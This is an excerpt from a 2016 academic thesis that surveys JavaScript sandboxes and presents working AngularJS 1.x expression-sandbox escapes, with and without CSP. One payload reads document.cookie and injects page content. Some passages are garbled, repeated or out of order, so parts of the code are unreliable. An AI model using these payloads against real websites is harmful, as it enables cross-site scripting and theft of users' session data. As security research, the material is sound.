Bachelor Thesis Excerpt

From: Sandboxing JavaScript in the Browser

Jann Horn

Date: 19.10.2016
Supervisor: Dr.-Ing. Mario Heiderich

Ruhr-University Bochum, Germany

Chair for Network and Data Security
Prof. Dr. Jörg Schwenk
Homepage: www.nds.rub.de
1 Existing JavaScript Sandboxes

This chapter briefly describes various existing JavaScript sandboxes, focusing on how those sandboxes are designed and which purposes they were built for. The sandboxes presented here are specifically designed to work in a browser environment.

1.1 ADsafe

ADsafe[1] is a relatively old JavaScript sandbox written by Douglas Crockford[2] that was originally published in 2007[3]. Its goal is to permit websites to safely embed guest code implementing “mashups and scripted advertising”. The guest code is allowed to modify a designated part of the Document Object Model (DOM) tree (e.g. an advertisement area) and communicate with other explicitly exposed services of the host page, but is not allowed to directly access the DOM tree or perform other actions that might provide it with access to sensitive user data.

ADsafe consists of two main components. The first component is integrated into JSLint, a static verifier that ensures that code conforms with specific rules. Normally, JSLint is used to check for code quality issues [4], but until 2013, it also had an ADsafe-specific mode that could verify that code is limited to a safe subset of JavaScript. Code that has been verified by ADsafe should be unable to e.g. access the DOM. These restrictions are relatively broad, partly because of the limitations of static analysis when analyzing a weakly typed language like JavaScript.

The second component is used by the verified, untrusted code at runtime, in the browser. It provides limited access to the DOM and some JavaScript language features that are restricted by the first component for security reasons.

1.2 AngularJS 1.x

AngularJS 1.x contains a sandbox for Angular Expressions. Angular Expressions can be used in AngularJS-specific HTML attributes (e.g. `ng-click`, which behaves similarly to the normal `onclick` event handler attribute). They are also used for data bindings, which are placed in normal text inside an appropriately marked HTML element using the syntax `{{ ... }}`. Angular Expressions are normally evaluated by transforming them into JavaScript code and then executing them.

Like ADsafe, the Angular Expression sandbox also performs both static checks (while transforming the expression into JavaScript) and runtime checks. However, unlike ADsafe, the author of the Angular Expression code is not required to explicitly call the runtime checks. Instead, Angular Expressions can e.g. use
normal subscript notation, which is augmented with security checks during the code transformation step and transformed so that global variable accesses are instead backed by an explicit scope object.

A pattern in many sandbox breakouts from Angular Expression context is that the attacker somehow calls the result of a call to the `Function` function with an argument containing an attacker-chosen string (in JavaScript: `Function('...')()`), which causes the string argument to be evaluated as JavaScript code.

The Angular Expression sandbox will likely be removed in the next AngularJS 1.x release[5]. However, the bypasses shown in section 2.1 are still relevant as examples of security mistakes that can be made in JavaScript sandboxes in general.

### 1.2.1 Relevance for security

Security-wise, a big difference between AngularJS and other JavaScript sandboxes is that in a correctly-designed AngularJS application, no untrusted code is ever placed inside an Angular Expression[6], so the AngularJS sandbox is not a primary security defense (which the other JavaScript sandboxes are). Still, it is relevant as a mitigation bypass for various types of XSS (Cross-Site Scripting) attacks that would otherwise be mitigated by modern browsers:

- If an attacker attempts to exploit a reflected XSS vulnerability in a website, some modern browsers (in particular, Internet Explorer[7] and Google Chrome[8]) will typically detect the attack and block it. However, a web application might legitimately reflect some safe HTML markup (like e.g. `<b>` or `<a href="...">` tags) back to the client, and an XSS filter shouldn’t prevent that. For this reason, XSS filters blacklist specific attributes that can cause script execution inside injections while permitting all others. Because the XSS filter doesn’t know about Angular’s special event handler attribute names and its binding syntax, when a reflected XSS vulnerability occurs on a page that has loaded AngularJS, an attacker can bypass the XSS filter by injecting Angular attributes or bindings into the page and then breaking out into a normal JavaScript context from inside them.[9, Slide 17].

  Going further, in Google Chrome, this still works when attacking a page that doesn’t even load AngularJS as long as a copy of AngularJS is stored somewhere on the same origin. The attacker e.g. injects the following HTML code:

  ```html
  <script src="angular.js"></script>
  <div ng-app>
    {{PLACE CODE FOR BREAKING OUT OF THE EXPRESSION SANDBOX HERE}}
  </div>
  ```

  This works because Google Chrome’s XSS Auditor explicitly does not check for reflected XSS when encountering a JavaScript resource that is loaded from the same domain[10].

- Inside an HTML element that is already AngularJS-enabled, it is not even necessary to have a normal XSS injection in order to be able to reach the expression sandbox. Because the AngularJS binding syntax uses curly braces, which are normally safe characters in most HTML contexts, a normal XSS
filter will not prevent the use of AngularJS binding syntax. Using an Angular Expression sandbox bypass, it is therefore possible to turn a safe-looking text injection in an HTML page that uses AngularJS into full JavaScript execution[9, Slide 23]. Again, this shouldn’t happen in a properly-written AngularJS application because the documentation explicitly forbids any dynamic contents in AngularJS HTML files for this reason.[6]

- On a website that uses a good CSP (Content Security Policy) configuration, the evaluation of dynamically created JavaScript code is forbidden. Because AngularJS is supposed to still work on pages that use a secure CSP configuration, it has a CSP mode in which it does not transform the supplied code into JavaScript and then evaluate the dynamically created code. Instead of generating new code as a string, the sandbox chains generic functions that implement primitive operations (addition, function calls, property lookups, ...) together to create equivalent functionality.

This CSP mode inherently allows the evaluation of nearly arbitrary code in a website whose CSP policy is meant to prevent such behavior, making the feature interesting for CSP bypasses. Like in the case of XSS filter bypasses, this doesn’t require the vulnerable page to include AngularJS - instead, any page whose CSP policy permits loading scripts from a source that hosts AngularJS can be attacked this way. In practice, an interesting origin that hosts AngularJS is https://ajax.googleapis.com. This CDN, owned by Google, hosts many versions of various JavaScript libraries and is intended to be used by third-party websites[11]. Any website that uses it needs to whitelist the CDN in its CSP policy - and in CSP 1.0, the whole CDN, not just the needed libraries, needs to be whitelisted because path matching isn’t supported in that version[12, Section 5.1, Example 4]. CSP Level 2 does support matching with path precision[13, Section 4.2.2.2], but it loses that granularity when following redirects[13, Section 4.2.2.3], and over 20% of users’ browsers support CSP 1.0, but not CSP Level 2[14]. That aside, it is also uncommon to whitelist origins with such precision. Therefore, often CSP-mitigated XSS vulnerabilities on websites that use a CDN that also hosts AngularJS can be made exploitable again using AngularJS.[9, Slides 30ff]

If not only the current AngularJS version, but also older versions are hosted on a whitelisted origin (as is the case for Google Hosted Libraries), an attacker doesn’t even need a bypass that works against the current version of AngularJS; a bypass working for the oldest hosted version is sufficient.

While sandbox escapes from Angular Expression context with CSP are somewhat similar to escapes from non-CSP context, one major difference is that in CSP context, it is not possible to simply call Function to run arbitrary JavaScript code - CSP explicitly prevents that. Therefore, an attacker has to either somehow create a JavaScript context that is still associated with the attacked origin, but isn’t subject to CSP, or transform the post-exploitation payload into code that can run from inside an AngularJS expression. An example of the second approach is shown in subsection 2.1.2.
1.2 Run-time Checks

In AngularJS 1.1.5, the last version in the 1.1.x series, there were no run-time checks yet. After Mario Heiderich discovered that it was possible to break out of the sandbox using `constructor.constructor('alert(location)')()` in version 1.2.0, a few security checks were added, and whenever new bypasses were reported publicly, more security checks were added. This section describes the security checks present in the last revision of AngularJS before the sandbox removal and when these checks were added.

1.2.2.1 ensureSafeMemberName

Since AngularJS 1.2.0, the function `ensureSafeMemberName` is used to restrict permitted member names. Originally, it prevented the use of member names that start or end with an underscore and, in some cases, also the name `constructor`. This rule changed over time, and in the current version, only the names `__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__` and `__proto__` are blocked statically.

1.2.2.2 ensureSafeObject

Also since AngularJS 1.2.0, the function `ensureSafeObject` is usually applied to any value that is the result of a subexpression. It checks whether its input value is a blacklisted object or has properties that mark it as an unsafe object. This function originally prevented access to `Function`, `window` and any DOM element. Since version 1.3.0, because of a patch I wrote, it additionally blocks access to `Object` to prevent an attacker from getting hold of methods like `Object.getOwnPropertyDescriptor`.

However, for performance reasons, this check is not actually invoked for every subexpression - for a member access chain like `foo.bar.baz`, `foo` and `foo.bar.baz` are checked, but the middle component is not checked for performance reasons. In the current version of AngularJS, this check is re-enabled in two cases:

- Since 1.3.2, if the member name is flagged as “possibly dangerous” by `isPossiblyDangerousMemberName` (in other words, if the member name is `constructor`), the check is reenabled to prevent an attacker from e.g. using `({}).constructor.getOwnPropertyDescriptor` to access a dangerous member function of the blacklisted `Object.constructor`.

- Since 1.3.2, when Angular Expressions are compiled in `expensiveChecks` mode, `ensureSafeObject` is called on the result of every member lookup. This mode is used by Angular Expressions that are compiled while running another Angular Expression in `expensiveChecks` mode and by event handlers. This is done because event handlers expose the raw DOM event, which has many references to DOM nodes and the window object, to the sandboxed code.

This check is known to be broken because code in `expensiveChecks` mode can store a reference to an event object, and code not running in `expensiveChecks` can then use that reference.[15]
1.3 Blancura

1.2.2.3 ensureSafeFunction

Since AngularJS 1.3.0, this check is used to forbid direct invocation of the `Function` function.

The check also forbids calls to `Function.prototype.bind`, `Function.prototype.call` and `Function.prototype.apply` because these functions can be used to reuse existing functions with a lot of flexibility and hide the identity of the called function from the sandbox.

1.2.2.4 ensureSafeAssignContext

Since AngularJS 1.5.0, it is forbidden to use five global constructors (`Number`, `Boolean`, `String`, `Object`, `Array`) and `Function.constructor` in the left-hand side of assignment expressions - checking not just the receiver of the assignment, but also every subexpression on the left-hand side. This check was bypassed[16] by storing a prototype in a variable, then assigning a property to the prototype through the variable, thereby avoiding a check against the corresponding constructor. The version on the git master branch is more robust: Now `Number`, `Boolean`, `String`, `Object`, `Array`, `Function` and their prototypes are blacklisted.

1.3 Blancura

Blancura[17] is a JavaScript sandbox based on ADsafe that adds identifier scoping as a sandboxing mechanism. The basic idea is that any identifier or member name in the to-be-sandboxed code is prefixed with a prefix string that is unique to the source of the sandboxed code by a JavaScript-to-JavaScript transcompiler.

Blancura adds this protection on top of the existing validation performed for normal ADsafe code. The authors’ paper explains that, even if ADsafe alone is sufficient to sandbox JavaScript code in a clean browser environment, many websites add more code in places that are reachable from inside the JavaScript sandbox, and sometimes, this additional code can then be abused to break out of the sandbox. Sandboxing all property names and identifiers mitigates this issue.

Code outside the sandbox being reusable for breakouts is a recurring pattern; in particular for the AngularJS breakouts, more instances of this pattern will be shown.

1.4 MentalJS

MentalJS[18] is a JavaScript sandbox that, similar to Blancura, uses identifier scoping as a sandboxing mechanism. However, unlike Blancura, it uses identifier scoping as its only sandboxing mechanism. This mechanism is implemented using a streaming transformation that is applied to the input sourcecode. The most important transformations applied by MentalJS are:

- It adds a suffix (normally $) to all identifiers and member names: `window.document` becomes `window$.document$`. 
• When a member expression uses array subscript syntax (e.g. `object[property]`), the property name cannot be sandboxed at compile time because it is only known at runtime. Therefore, instead, MentalJS adds a method call that is used to transform the property name at runtime before it is used for the actual property lookup: `object[M.P(property)]`. `M.P` is a function provided by MentalJS that dynamically adds the scoping suffix ($) to its argument or, as an exception, passes numeric properties through unchanged.

### 1.4.1 in relational expressions and for-in statements

Notably, MentalJS does not apply any special transformations to the JavaScript expression `prop in object` and the statement `for (prop in object) ...`, meaning that when code uses these language constructs, it sees the actual properties of objects, not the transformed properties. For example, after the MentalJS transformation, `(foo = {}), (foo.a = 1), ('a$' in foo)` evaluates to `true` while `(foo = {}), (foo.a = 1), ('a' in foo)` evaluates to `false` - the opposite of what would happen in a native JavaScript environment.

However, MentalJS does ensure that `’foo’in {foo:1}` evaluates to `true` and that for `(key in {foo:1}) ...` only enumerates `foo` as a key, not `foo$.('foo$’ in {foo:1} still evaluates to `true` though.) This is done by transforming object literals (here: `{foo:1}`) as follows:

• For consistency with the transformation of member expressions, non-numeric member names are suffixed with $. (This is done in a slightly different way than in the `M.P` helper: Numeric strings are suffixed, only number literals are passed through unchanged.)

• The resulting object literal is wrapped in a function call to the helper `M.O`, which applies the following modifications to the new object at runtime before returning it:
  - If the original object literal defines a property `length`, the transformed property `length$` is moved back to `length` and `length$` is redefined as a property with a getter and a setter that forward accesses to the `length` property. This ensures that e.g. methods from `Array.prototype` can be applied to the new object.
  - For all properties of the original object literal other than `length`, a new property whose name is the name of the property in the original object literal is added to the object. This new property does not have a value (and neither a getter or a setter). It is configurable and writable; its enumerability depends on its name: If the original property name is one of `toString`, `valueOf`, `constructor` and `hasOwnProperty`, the new property is non-enumerable, otherwise it is enumerable. This ensures that the sandboxed code sees the non-sandboxed property keys it expects when iterating over them with `for (key in object) ...`.
  - All transformed properties (properties that were present on the object when `M.O` was called) are made non-enumerable. This hides them from `for (key in obj) ...`, which only enumerates enumerable properties, and therefore makes sure that the sandboxed code isn’t confused by the presence of property keys ending with $.
2 Attacks Against Existing Sandboxes

In this chapter, several attacks against JavaScript sandboxes are shown. These attacks are not just useful for an attacker who wants to attack one of these sandboxes, but also contain transferable knowledge that is useful when constructing a new sandbox - or when attacking a new one.

2.1 Attacks on AngularJS

2.1.1 Attack on AngularJS 1.5.8+ before sandbox removal without CSP

The following exploit works against the last git revision of AngularJS before the sandbox was removed (after release 1.5.8) and results in full JavaScript code execution from AngularJS binding context without CSP:

```html
<html ng-app>
<script src="angular.js"></script>
<body>
{{
call=''.sub.call;
bind=''.sub.bind;
apply=''.sub.apply;

call.$apply = $apply;
call.$eval = bind;
oldphase = $$phase;
$$phase = null;
olddigest = $digest;
$digest = ({}).toString;
CALL=call.$apply(call);
$$phase = oldphase;
$digest = olddigest;

BIND=CALL(bind, call, bind);

$evalAsync("}
```
2.1 Attacks on AngularJS

2.1.1 Regaining access to call, apply and bind

As explained in subsubsection 1.2.2.3, AngularJS uses the ensureSafeFunction helper to block calls to the bind, call and apply functions that can be obtained as properties of any function. However, only calls to these functions are forbidden - using them in any other context, e.g. as an assignment source or function argument, is allowed.

Given access to call, it would be easy to create methods that are equivalent to bind and apply as follows:

call=''.sub.call;
bind=''.sub.bind;
apply=''.sub.apply;

APPLY = bind.call(call, apply);
BIND = bind.call(call, bind);

It can be seen that the only function that is called here is call. After the code has executed, two new functions APPLY and BIND are available. These do not behave identically to the original apply and bind
functions, but are equivalent: Instead of passing the function to operate on as the this-argument, it has to be passed as the first argument. For example, \( \text{APPLY(func, thisarg, args)} \) is equivalent to \( \text{func.apply(thisarg, args)} \).

Now, only \( \text{call} \) or an equivalent function needs to be made available. To understand how this can be done, it is important to realize that the AngularJS sandbox does not instrument all functions that can be reached from inside the sandbox. In particular, both built-in language features (like methods on the \text{Array} prototype) and methods on the prototype of Angular’s \text{Scope} function are reachable from inside the sandbox. If it is possible to trick unsandboxed code into performing a forbidden action that the sandboxed code would not be able to perform, that is a step towards a sandbox breakout.

In this case, if it was possible to let unsandboxed code perform the following call and return its result to the sandboxed code, that would yield a function that is equivalent to \( \text{call} \), similar to the \( \text{APPLY} \) and \( \text{BIND} \) functions that were described previously:

\[
\text{call} = \text{''.sub.call};
\text{bind} = \text{''.sub.bind};
\text{call.bind(call)}
\]

Luckily for the attacker, the \$apply function on the scope prototype can be used for exactly this. It contains the following code:

```javascript
function beginPhase(phase) {
    if ($rootScope.$$phase)
        throw [...];
    $rootScope.$$phase = phase;
}

function clearPhase() {
    $rootScope.$$phase = null;
}

$apply: function(expr) {
    try {
        beginPhase('$apply');
        try {
            return this.$eval(expr);
        } finally {
            clearPhase();
        }
    } catch (e) {
    } finally {
        try {
```
The interesting line in this function is `return this.$eval(expr)`. If this line is executed with `this` referring to `call`, `this.$eval` referring to `bind` and `expr` being `call`, it performs exactly the intended action. A call to `$apply` with these properties can be achieved using the following steps:

- To be able to pass `call` as `this`, copy `$apply` to a property of `call`.
- To invoke `bind` as `this.$eval`, copy `bind` to `call.$eval`.
- Call `$apply` as property of `call`, with `call` as argument, and store the result.

This looks as follows in code:

```javascript
call=''.sub.call;
bind=''.sub.bind;

call.$apply = $apply;
call.$eval = bind;
CALL=call.$apply(call);

The remaining problem is the rest of the function.
$rootScope.$$phase is set to "$digest" while AngularJS bindings are evaluated, so `beginPhase` would normally throw an error. However, the attacker can reach and modify the `$rootScope` object - it is the sandboxed code’s fake global scope. Therefore, it is possible to avoid errors caused by `beginPhase` and `clearPhase` as follows:

```javascript
oldphase = $$phase;
$$phase = null;
[... call $apply here ...]
$$phase = oldphase;
```

Similarly, the call to `$rootScope.$digest()` is problematic, but can be avoided by setting the `$digest` property of the scope object to a function without any effect before executing `$apply`:

```javascript
olddigest = $digest;
$digest = ({}).toString;
[... call $apply here ...]
$digest = olddigest;
```

The assembled attack for creating `CALL`, which is equivalent to `call` and not recognized by the sandbox, can now be assembled from the previous three snippets:
2.1 Attacks on AngularJS

Multiple attacks on AngularJS in the past\cite{19} have abused the ability to overwrite properties of important prototypes.

In the latest revision of AngularJS before the sandbox removal, such attacks don’t work anymore because of the \texttt{ensureSafeAssignContext} check: Overriding properties of important prototypes, from which many objects inherit their properties, is now forbidden. However, instead of manipulating the value of an object’s inherited property by modifying the inherited property on the prototype, an attacker can also set the malicious value on a specific instance of the object directly. This approach just has one big downside: The attacker has to actually have a reference to the object whose property should be set, not just a reference to its prototype.

Luckily for the attacker, the sandbox implementation does contain some code that uses a property of an attacker-reachable object in an important place. When sandboxed code requests new code to be transformed and evaluated at runtime using \texttt{$eval(...)}$, the following code inspects the AST before the transformed JavaScript code is created:

```javascript
case AST.CallExpression:
  [...]
```

Afterwards, \texttt{BIND} and \texttt{APPLY} can be constructed using a slightly modified variant of the code shown earlier that uses \texttt{CALL} instead of \texttt{call}:

```javascript
APPLY = CALL(bind, call, apply);
BIND = CALL(bind, call, bind);
```

This shows that, if a sandbox attempts to restrict code by augmenting language constructs with checks, it is important to keep in mind how non-sandboxed code might be repurposed to obtain functionality equivalent to the original, non-sandboxed language features and thereby (partially) bypass the sandbox.
In this code, `expr.toWatch` is a (mutable) AST node - if the attacker was able to modify it, he could insert arbitrary objects into the AST.

If this code called `argsToWatch.push(...)`, it would be safe: The attacker does not have a reference to `argsToWatch`, so he can’t just override `argsToWatch.push` directly, and overriding the inherited property `Array.prototype.push` doesn’t work either because of the `ensureSafeAssignContext` check. However, in the actual code, the `apply` property of `push` is looked up - and because `push` is reachable in the sandbox and is not blacklisted, the sandboxed code is allowed to override its properties.

Therefore, an attacker can redirect the call to `apply` to any function he wants, and this function will receive `expr.toWatch` as its second argument. Therefore, now the attacker’s next goal is to construct a function that will synchronously perform attacker-chosen modifications on the AST node in its second argument when called. (Modifications need to happen synchronously because the AST node is not used anymore after it has been compiled.)

Ideally, the attacker would want to create a function containing his own (sandboxed) code and override `push.apply` with that. It turns out that using a small trick, nearly the same effect can be achieved. AngularJS provides sandboxed code with two ways to evaluate arbitrary strings as Angular Expressions at runtime: `$eval(...)` for immediately evaluating code, but also `$evalAsync(...)` to postpone evaluation. `$evalAsync` immediately compiles its argument into a corresponding JavaScript function that takes the scope and locals (which are basically a secondary scope that is merged with the normal scope) as arguments. The resulting function is then stored in the array `$$asyncQueue` that is stored on the root scope object, allowing the attacker to reach it. (According to a comment in the source code, the queue is exposed “for debugging/testing purposes”.)

Ideally, a function created this way should still use the normal scope object as its global scope while using the leaked AST node as locals object. (It is possible to avoid using the scope directly and instead use a reference that is stored e.g. as a property of a method of the prototype associated with some literal, but direct scope access is neater.) To make the scope available, the function created by `$evalAsync` can be bound to a `this`-argument that doesn’t matter and `$root` as first argument. However, now the bound function takes the locals argument as its first argument while the AST traversal code passes the interesting argument in the second argument: It is necessary to create a wrapper that shifts the arguments, discarding its first argument and passing its second argument to the wrapped function as first argument.

Observe that `<function>.call(<thisarg>, <arg1>, <arg2>, ...) would match this requirement: The first argument of `call` is passed as the `this`-argument, which is discarded, and the fol-
2.1 Attacks on AngularJS

Following arguments are shifted to the left and forwarded to the target function. A wrapper like this could be constructed using `BIND`.

Here, again, `CALL` is used instead of `call`, and the wrapper that matches the requirements is constructed as follows: The wrapper function has to execute the equivalent of `CALL(<function>, <original arguments>)`. Such a wrapper can be constructed by binding `CALL` to any `this-argument` and, as bound argument, the target function: `BIND(CALL, null, <function>).`

2.1.1.3 Injecting code through the AST

Because the AST is an internal, trusted data structure, no security checks are specifically designed to prevent an attacker with control over an AST node from executing arbitrary code. If CSP is not active and AngularJS is not running in CSP mode, at this point, JavaScript code can be executed by abusing that the `operator` property of `UnaryExpression` AST nodes is inserted into the generated code without any checks or escaping:

```javascript
astNode = pop();
astNode.type = 'UnaryExpression';
astNode.operator = '(window.DONE ? void 0 : (window.DONE=true,alert(window)))+';
astNode.argument = {type: 'Identifier', name: 'foo'};
```

This shows that exposing an `eval(...)` mechanism is a significant danger for a JavaScript sandbox: It can provide ways to turn slight sandbox breakage into full bypasses.

2.1.2 Attack on AngularJS 1.5.8+ before sandbox removal with CSP

In the previous subsection, an attack was presented that works if no strict CSP policy is active and Angular’s CSP mode is deactivated. However, the following, extended version of this attack also works if CSP is active:

```javascript
’donot re-execute after first execution’;
’’.sub.ALREADY_EXECUTED ? constructor.constructor : null;
’’.sub.ALREADY_EXECUTED = true;
```

```javascript
call=’’.sub.call;
bind=’’.sub.bind;
apply=’’.sub.apply;
```

‘usage: CALL({func}, {thisarg}, {arg1}, {arg2}, ...)’;
`call.$apply = $apply;
call.$eval = bind;
oldphase = $root.$$phase;`
2.1 Attacks on AngularJS

`$root.$$phase = null;`
`olddigest = $root.$digest;`
`$root.$digest = ({}).toString;`
`CALL=call.$apply(call);`
`$root.$$phase = oldphase;`
`$root.$digest = olddigest;`

'basically BIND=call.bind(bind)';
'usage: BIND({func}, {thisarg}, {arg1}, ...)';
BIND=CALL(bind, call, bind);

'basically APPLY=call.bind(apply)';
APPLY=CALL(bind, call, apply);

'create a function that does evil stuff to an AST node array given as first argument';
'AST equivalent:'
' defineProperty=({}).constructor.defineProperty';
' Object_prototype = ({}).constructor.prototype';
$evalAsync('`
astNode = pop();
astNode.type = "ArrayExpression";
astNode.elements = [
  {
    type: "AssignmentExpression",
    left: {type:"Identifier", name:"defineProperty"},
    right: {
      type:"MemberExpression",
      object:{
        type:"MemberExpression",
        object:{type:"ObjectExpression",properties:[]},
        property:{
          type:"Identifier",
          name:{
            toString: BIND("".toLowerCase, "constructor"),
            valueOf: BIND("".toLowerCase, "foo")
          },
          computed:false
        }
      }
    }
  }`
);
2.1 Attacks on AngularJS

},
    property:{type:"Identifier",name:"defineProperty"},
    computed:false
},
    operator: ":=
}
,
{  type: "AssignmentExpression",
  left: {type:"Identifier", name:"Object_prototype"},
  right: {
    type:"MemberExpression",
    object:{
      type:"MemberExpression",
      object:{type:"ObjectExpression",properties:[]},
      property:{
        type:"Identifier",
        name:{
          toString: BIND("".toLowerCase, "constructor"),
          valueOf: BIND("".toLowerCase, "foo")
        }
      },
      computed:false
    },
    property:{type:"Identifier",name:"prototype"},
    computed:false
  },
  operator: ":=
}
];

'\');

manipulate_ast_node_array_in_arg1 = BIND($$asyncQueue.pop().expression, null, $root);

'make a wrapper that passes its second argument to
manipulate_ast_node_array_in_arg1';

manipulate_ast_node_array_in_arg2 = BIND(CALL, null,
manipulate_ast_node_array_in_arg1);
'leak an AST node to manipulate_ast_node_array_in_arg2 and run manipulated code';
[].push.apply = manipulate_ast_node_array_in_arg2;
a = ''.sub;
$eval('a(b.c)');
[].pushapply = apply;

'create helpers for traversing stuff; these do not work here yet';
'value_ = GET_({obj_: obj_, name: name})';
GET_ = BIND($eval, $root, '[0].map(BIND(APPLY, null, Reflect.get, null, obj_.concat([name], obj_))))');

'SET({obj_: obj_, name: name, value_: value_})';
SET = BIND($eval, $root, 'APPLY(Reflect.set, null, obj_.concat([name], value_))');

'result_ = INVOKE_({func_: func_, obj_: obj_, args: args})';
INVOKE_ = BIND($eval, $root, '[0].map(BIND(APPLY, null, APPLY, null, func_.concat(obj_, [args])))');

'result_ = INVOKE_PROP_({obj_: obj_, func_name: func_name, args: args})';
INVOKE_PROP_ = BIND($eval, $root, 'INVOKE_({obj_: obj_, args: args, func_: GET_({obj_: obj_, name: func_name})))');

'result_ = CREATE_({constructor_: constructor_, args: args})';
CREATE_ = BIND($eval, $root, 'INVOKE_({obj_: null, func_: [Reflect.construct], args: constructor_.concat([args]))}');

'takes an object containing an event as argument';
$evalAsync('inspect_leaked_event = null;

"brag a little bit, show we have the event";
alert=scope_.currentTarget.alert;
CALL(alert, null, "hehe. "+scope_);
CALL(alert, null, "cookies: "+scope_.currentTarget.document.cookie);
"enable the stuff traversal helpers";
Reflect = scope_.currentTarget.Reflect;

"put some stuff in the document. because we can."
window_ = GET_({obj_: [scope_], name: "currentTarget"});
document_ = GET_({obj_: window_, name: "document"});
body_ = GET_({obj_: document_, name: "body"});
new_element_ = INVOKE_PROP_({obj_: document_, func_name: 
    createElement", args: ["div"]});
SET({obj_: new_element_, name: "innerHTML", value_: ["&lt;b&gt;hehe&
lt;/b&gt;"]});
SET({obj_: new_element_, name: "style", value_: ["color:red;font-size
:100px"]});
INVOKE_PROP_({obj_: body_, func_name: "appendChild", args:
    new_element_});

');
inspect_leaked_event = BIND($$asyncQueue.pop().expression, null, $root)
;

'takes an object possibly containing an event as argument’;
$evalAsync('$(scope.constructor.name != "Event") ? null : (
    (scope_ = scope) +
    inspect_leaked_event()
}
');
inspect_leaked_event_or_not = BIND($$asyncQueue.pop().expression, null, $root);

'now use the leaked defineProperty reference to define properties on
Object.prototype’;
$$asyncQueue.push = inspect_leaked_event_or_not;

'no, the propagation has not stopped yet, but I am glad you asked :)’;
defineProperty(Object.prototype, ’immediatePropagationStopped’, { 
    get: $evalAsync
});
CALL, APPLY and BIND are created as before, and the reference to an AST node is passed to a function the same way, too. However, starting at that point, the attack is more difficult:

### 2.1.2.1 Abusing AST access to bypass restrictions

Even with CSP active, control over parts of the AST is still useful. In particular, this can be used to bypass the isPossiblyDangerousMemberName check that adds checks for intermediate expressions with the name constructor in a chained property accessor expression like `({}).constructor`. defineProperty. This restriction can be bypassed by replacing the identifier name of the intermediate expression with an object that, when checked by isPossiblyDangerousMemberName, appears to be harmless while, when used as key in an array subscript during evaluation of the Angular expression, being equivalent to the string "constructor".

isPossiblyDangerousMemberName is implemented as follows:

```javascript
function isPossiblyDangerousMemberName(name) {
    return name == 'constructor';
}
```

== evaluates to the result of an Abstract Equality Comparison of the left-hand side and right-hand side expressions[20, section 12.10.3]. If name is an object, it is converted to an object using ToPrimitive prior to being compared with 'constructor' [20, section 7.2.12, step 11]. Because no hint is provided to ToPrimitive, conversion is attempted using the hint "number", which causes name.valueOf() to be preferred for the conversion[20, section 7.1.1]. This means that by storing a function that returns a harmless-looking string as name.valueOf, an attacker can cause the check to return false.

Now, the object still has to be crafted so that it is equivalent to "constructor" when used as a subscript expression. When a value is used in this context, it is converted using ToPropertyKey, which also performs a ToPrimitive conversion - but this time, the hint String is used, causing name.toString() to be preferred for the conversion.

In summary, the attacker has to create a fake string object that looks as follows:

```javascript
{
    toString: <function that returns "constructor">,
    valueOf: <function that returns "foo">
}
```

Since BIND is available at this point, the required string-returning functions are easy to construct, e.g. like this:

```javascript
{
    toString: BIND("".toLowerCase, "constructor"),
    valueOf: BIND("".toLowerCase, "foo")
}
```
2.1 Attacks on AngularJS

At this point, the attacker can bypass the extra checks for constructor elements in member lookup chains. Here, this is used to gain access to `{{}}.constructor.defineProperty` and `{{}}.constructor.prototype`.

Now, the attacker can use `defineProperty` to define arbitrary properties on objects he can reference, including `Object.prototype`, from which nearly all other objects inherit.

2.1.2.2 Reaching the window object

At this point, the attacker has put some serious dents into the sandbox and can completely circumvent several security checks. However, the attacker still doesn’t have any reference to the `window` object, and there is no simple reference chain to it that he can use to gain access.

Access to the `window` object is important because this object holds references to all the important objects, including the document, cookies, local storage, methods used for network communication and so on.

At this point, a trick can be employed that is also sometimes used to attack web browsers and gain access to otherwise unreachable objects: If code with access to the target object performs a property lookup on it with a property key for which no property exists on the target object, the property lookup is recursively re-executed on the prototypes of the target object. If one of the prototype objects has a matching property with, depending on the type of lookup, a getter or setter, that getter or setter is invoked and receives the original target object of the lookup as its `this`-argument. In other words, looking up non-existent properties on normal objects leaks those objects to anyone who can define getter/setter properties on `Object.prototype`.

To determine whether AngularJS looks up non-existent properties on important objects, the prototype of `Object.prototype` was set to a proxy object that logs all getter invocations. (This was done in an older version of Google Chrome. Current versions of Chrome and Firefox don’t permit doing this, which is the behavior specified in ECMAScript 7[21, section 9.4.7] - but since this is only necessary for attack development, not for the execution of an attack, that’s irrelevant for attackers here.) It turns out that AngularJS does perform such a property lookup: The property `immediatePropagationStopped` is looked up on an event by AngularJS after sandboxed code has been executed. For sandbox breaks, access to a DOM event object is very useful because any event’s `view` property points to the window object.

The event object can be leaked like this, given the references to `Object.prototype` and `defineProperty` that have already been leaked:

```javascript
defineProperty(Object.prototype, 'immediatePropagationStopped', {
    get: <function that stores its this-argument>
});
```

The sandboxed code is not allowed to directly create functions that access their `this`-arguments. However, an attacker can reuse an existing function - for example, the `$evalAsync` method that is exposed through the scope object:

```javascript
$evalAsync: function(expr, locals) {
    if (!$rootScope.$$phase && !asyncQueue.length)
```
As explained earlier, the asyncQueue is exposed as $$asyncQueue, and here, an object containing a reference to this is pushed on this array. Therefore, if the attacker specifies $evalAsync as the getter, an object containing a reference to the event is pushed on $$asyncQueue when AngularJS looks up the undefined immediatePropagationStopped property. Next, the attacker has to somehow cause the next stage of the exploit to run after AngularJS has leaked the event. There are two options for this: Either hook a function that runs after the event has been leaked or cause the next stage to be executed as a callback at some point in the future at which the reference has hopefully been leaked. Here, a relatively simple variant of the first option was chosen: Just replace $$asyncQueue.push with an attacker-chosen function that takes the object with the leaked reference as its first argument. This function is again constructed using $evalAsync and bound to $root, the scope object. In its code, the event object can be referenced as scope because that is the name under which the event was stored in the object that is given to $$asyncQueue.push and therefore becomes the locals object.

The resulting part of the attack looks as follows:

```javascript
' takes an object containing an event as argument';
$evalAsync(''
inspect_leaked_event = null;

<do stuff with the event, which is reachable as scope_ here>
');
inspect_leaked_event = BIND($$asyncQueue.pop().expression, null, $root);

' takes an object possibly containing an event as argument';
$evalAsync(''
(scope.constructor.name != "Event") ? null : {
(scope_ = scope) +
(inspect_leaked_event())
}
');
inspect_leaked_event_or_not = BIND($$asyncQueue.pop().expression, null, $root);

' now use the leaked defineProperty reference to define properties on
```
2.1 Attacks on AngularJS

Object.prototype';
$$asyncQueue.push = inspect_leaked_event_or_not;
'no, the propagation has not stopped yet, but I am glad you asked :)';
defineProperty(Object.prototype, 'immediatePropagationStopped', {  
    get: $evalAsync  
});

inspect_leaked_event_or_not checks whether the leaked object really is an event and, if so,  
stores it as scope_ in the normal, non-local, scope, then invokes inspect_leaked_event.

